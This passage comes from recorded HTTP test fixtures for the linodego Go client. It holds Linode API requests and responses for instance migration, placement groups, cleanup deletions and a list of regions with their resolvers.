Thu, 05 Dec 2024 21:06:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"cold","region":"ca-central","upgrade":false,"placement_group":{"id":69533}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606/migrate method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/69533 method: GET response: body: '{"id": 69533, "label": "linodego-test-1733432763768220000", "region": "ca-central", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [{"linode_id": 68072606, "is_compliant": true}], "migrations": {"inbound": [{"linode_id": 68072606}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "304" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/69532 method: GET response: body: '{"id": 69532, "label": "linodego-test-1733432701621811000", "region": "ap-west", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [{"linode_id": 68072606, "is_compliant": true}], "migrations": {"outbound": [{"linode_id": 68072606}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "302" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/69533 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/69532 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_NodeBalancers_List.yaml000066400000000000000000001305551474652371000336400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": 